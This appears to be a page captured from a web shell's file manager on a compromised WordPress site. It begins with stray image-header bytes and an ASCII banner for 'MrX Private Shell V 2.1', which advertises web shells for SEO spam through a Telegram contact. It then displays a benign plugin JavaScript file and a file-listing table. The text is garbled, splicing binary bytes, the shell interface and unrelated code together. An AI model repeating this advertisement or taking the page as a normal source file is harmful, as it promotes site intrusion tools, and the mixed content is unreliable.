����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { post } from "./rest";
import { __ } from "@wordpress/i18n";
export const tabs = {
modules: __("Available Modules", "themeisle-companion"),
plugins: __("Recommended Plugins", "themeisle-companion"),
};
export const getTabHash = () => {
let hash = window.location.hash;
if ("string" !== typeof window.location.hash) {
return null;
}
hash = hash.substring(1);
if (!Object.keys(tabs).includes(hash)) {
return null;
}
return hash;
};
export const unregister = (url) => {
post(url, "deactivate=unregister").then((r) => {
if (r === false) {
return;
}
window.location.reload();
});
};
/**
* Decodes a html encoded string while preserving tags
*
* @param {string} html encoded string
* @return {string} decoded string
*/
export const decodeHtml = (html) => {
const txt = document.createElement("textarea");
txt.innerHTML = html;
return txt.value;
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| common.js | File | 919 B | 0644 |
|